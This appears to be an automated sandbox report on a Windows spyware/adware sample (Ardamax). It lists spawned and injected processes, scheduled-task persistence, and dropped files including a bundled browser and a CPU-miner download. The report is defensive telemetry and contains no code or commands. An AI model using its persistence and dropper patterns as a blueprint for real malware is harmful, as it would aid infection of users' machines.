SpyTool.Win32.Ardamax_9d05615f93

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The SpyTool creates the following process(es):

taskkill.exe:1824
taskkill.exe:844
taskkill.exe:2040
6895.exe:928
nsjA.tmp:1028
nsj20.tmp:1672
amisid.exe:1116
nsr4.tmp:1452
upgmsd_re_005010095.exe:436
nsr14.tmp:1568
wmic.exe:1276
nsc18.tmp:1336
encrypt.exe:1052
encrypt.exe:1484
encrypt.exe:1972
encrypt.exe:1512
tasklist.exe:1256
tasklist.exe:1536
setup.exe:2036
%original file name%.exe:396
gmsd_re_005010095.exe:1336
nst1D.tmp:1520
nss2D.tmp:1436
nss2D.tmp:372

The SpyTool injects its code into the following process(es):

nsb27.tmp:1108
nsm34.tmp:1108

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process nsb27.tmp:1108 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\checks.txt (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\md5dll.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\nsisos.dll (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn2A.tmp (5929 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\post_reply.htm (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\amisid.exe (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\thankyou[1].php (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\registry.dll (784 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\checks.txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn29.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\md5dll.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\nsisos.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\post_reply.htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\amisid.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\dummy.htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc2B.tmp\registry.dll (0 bytes)

The process 6895.exe:928 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\google_plus.ico (1921 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\ebay.ico (55 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\msn.ico (36 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\espn.ico (36 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\pinterest.ico (39 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\tumblr.ico (40 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\utility.exe (14988 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\espn.ico (1588 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\ikea.ico (2993 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\linkedin.ico (37 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\groupom.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\tripadvisor.ico (1917 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\ebay.ico (1913 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\imdb.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\setup.exe (37305 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\agoda.ico (1921 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\kayak.com.ico (1601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\gizmodo.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\msn.ico (1588 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\cnn.ico (45 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\yandex.ico (1588 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\nytimes.ico (1921 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\gmail.ico (47 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ie.zip[1].001 (3985887 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\bing.ico (42 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\prefs (823 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\mail.ru.ico (1909 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\bbc.ico (35 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\etsy.ico (601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\huffingtonpost.ico (49 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\ted.ico (57 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\weather_channel.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\booking.com.ico (1601 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\B82B3152-E8DD-4672-BD9-1E9973F4C5A3\B82B3152-E8DD-4672-BD9-1E9973F4C5A3.exe (14988 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\google_plus.ico (64 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\search.ico (57 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\tumblr.ico (1592 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\netflix.ico (51 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\netflix.ico (1909 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\priceline.ico (53 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\linkedin.ico (1592 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\bestbuy.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\huffingtonpost.ico (1909 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\yahoo_mail.ico (1913 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\twitter.ico (36 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\chrome.packed.7z (1308045 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\yelp.ico (1597 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\walmart.ico (48 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\amazon.ico (601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\google_news.ico (601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\agoda.ico (61 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\target.ico (50 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\ted.ico (1913 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\gmail.ico (1601 bytes)
%WinDir%\Tasks\MyBrowser.job (1966 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\9gag.ico (56 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\nba.ico (1601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\bbc.ico (1588 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\yahoo_finance.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\facebook.ico (3913 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\search.ico (1917 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\skype.ico (1597 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\youtube.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\target.ico (1909 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\hotels.com.ico (1601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\theguardian.ico (1597 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\youtube.ico (3913 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\groupom.ico (2993 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\yahoo_search.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\yahoo.ico (1592 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\google_news.ico (2993 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\imdb.ico (2993 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\google_translate.ico (38 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\cnn.ico (1601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\nfl.ico (1913 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\reddit.ico (60 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\mail.ru.ico (49 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\bing.ico (1597 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ie.zip[1].002 (3985887 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ie.zip[1].003 (3985887 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\forbes.ico (40 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ie.zip[1].004 (3985887 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ie.zip[1].005 (3985887 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\yahoo_finance.ico (2993 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ipgeoapi[1] (40 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\google_translate.ico (1592 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\expedia.ico (61 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\wikipedia.ico (55 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\walmart.ico (1601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\hotels.com.ico (47 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\icon.json (9 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\nba.ico (48 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\etsy.ico (3913 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\wikipedia.ico (1913 bytes)
%WinDir%\Tasks\B82B3152-E8DD-4672-BD9-1E9973F4C5A3.job (1656 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\twitter.ico (1588 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\booking.com.ico (45 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\expedia.ico (1921 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\theguardian.ico (42 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\mail_live_msn.ico (38 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\skype.ico (44 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\kayak.com.ico (47 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\yahoo_mail.ico (56 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\9gag.ico (1913 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\forbes.ico (1592 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\crbrw.zip (313192 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\gizmodo.ico (2993 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\yelp.ico (42 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\bestbuy.ico (3913 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\yahoo.ico (39 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\mail_live_msn.ico (1592 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\tripadvisor.ico (58 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\weather_channel.ico (5593 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\reddit.ico (1917 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\icon.json (21 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\ikea.ico (601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\nfl.ico (56 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\facebook.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\pinterest.ico (1592 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\yandex.ico (35 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\nytimes.ico (61 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\yahoo_search.ico (5593 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\priceline.ico (1913 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4895\Icons\amazon.ico (2993 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\chrome.dat (31 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\B82B3152-E8DD-4672-BD9-1E9973F4C5A3 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\crbrw.zip (0 bytes)
%WinDir%\Tasks\B82B3152-E8DD-4672-BD9-1E9973F4C5A3.job (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\B82B3152-E8DD-4672-BD9-1E9973F4C5A3\B82B3152-E8DD-4672-BD9-1E9973F4C5A3.exe (0 bytes)

The process nsjA.tmp:1028 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsh28.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr2E.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh1E.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\cmmdWriter[1].exe (2696 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (45 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq25.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\Validate[1].exe (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsuF.tmp (11240 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\Bundle_CPUminer[1].exe (7288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd35.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf12.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj20.tmp (5952 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw2C.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi19.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr15.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn1F.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz11.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz10.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb27.tmp (7288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc18.tmp (11704 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc17.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Uninstall.exe (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (90 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr33.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm34.tmp (13784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[2].htm (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\56xtF[1].exe (11704 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\smt[1].exe (13784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst21.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss2D.tmp (365499 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\vos[1].htm (876 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse23.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\setup[1].exe (128293 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso1C.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\36e0f22eacad857de2cd3b76aedc24a7[1].exe (5952 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst1D.tmp (128293 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw13.tmp (876 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw26.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr14.tmp (2696 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\setup_gmsd_re[1].exe (365499 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (75 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsz10.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh28.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr2E.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh1E.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsuE.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq25.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf12.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj20.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsk24.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw2C.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi19.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr15.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn1F.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz11.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc17.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb27.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc18.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr33.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd35.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[2].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr14.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss2D.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nse23.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso1C.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst1D.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw26.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst21.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (0 bytes)

The process nsj20.tmp:1672 makes changes in the file system.

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsp22.tmp (0 bytes)

The process nsr4.tmp:1452 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsjB.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nstC.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nspD.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm9.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsjA.tmp (7192 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr7.tmp (6720 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm8.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (30 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsjB.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nstC.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nspD.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm9.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc6.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm9.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm8.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (0 bytes)

The process upgmsd_re_005010095.exe:436 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Cookies\index.dat (1928 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@prof.youandmeandmeandyouhihi[1].txt (231 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@youandmeandmeandyouhihi[1].txt (182 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\gmsd_re_005010095\upgmsd_re_005010095.cyl (428 bytes)

The process nsr14.tmp:1568 makes changes in the file system.

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsm16.tmp (0 bytes)

The process wmic.exe:1276 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

The process nsm34.tmp:1108 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\binsischeck654.xml (5152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst37.tmp\modern-wizard.bmp (26 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi39.tmp (28320 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bitool.xxx (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst37.tmp\Math.dll (2489 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst37.tmp\xml.dll (2005 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd38.tmp (108018 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\binsis142.xml (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\setup[1].exe (28320 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst37.tmp\Banner.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst37.tmp\nsDialogs.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst37.tmp\md5dll.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst37.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\BiTool[1].dll (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst37.tmp\inetc.dll (20 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nst37.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd36.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd38.tmp (0 bytes)

The process nsc18.tmp:1336 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsd1B.tmp (7695 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsd1A.tmp (0 bytes)

The process encrypt.exe:1052 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\gamesdesktop_widget.exe (92316 bytes)

The process encrypt.exe:1484 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\predm.exe (1447 bytes)

The process encrypt.exe:1972 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\gmsd_re_005010095.exe (31990 bytes)

The process encrypt.exe:1512 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-3D1GP.tmp\upgmsd_re_005010095.exe (24211 bytes)

The process setup.exe:2036 makes changes in the file system.

The SpyTool creates and/or writes to the following file(s):

%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\zh-CN.pak (187 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\icudtl.dat (76792 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\MyBrowser\MyBrowser.lnk (1 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\metro_driver.dll (1765 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\ar.pak (293 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\am.pak (302 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\de.pak (224 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\gu.pak (1705 bytes)
%Program Files%\MyBrowser\MyBrowser\Temp\source2036_26711\Chrome-bin\39.5.2171.95\Locales\zh-TW.pak (190 bytes)
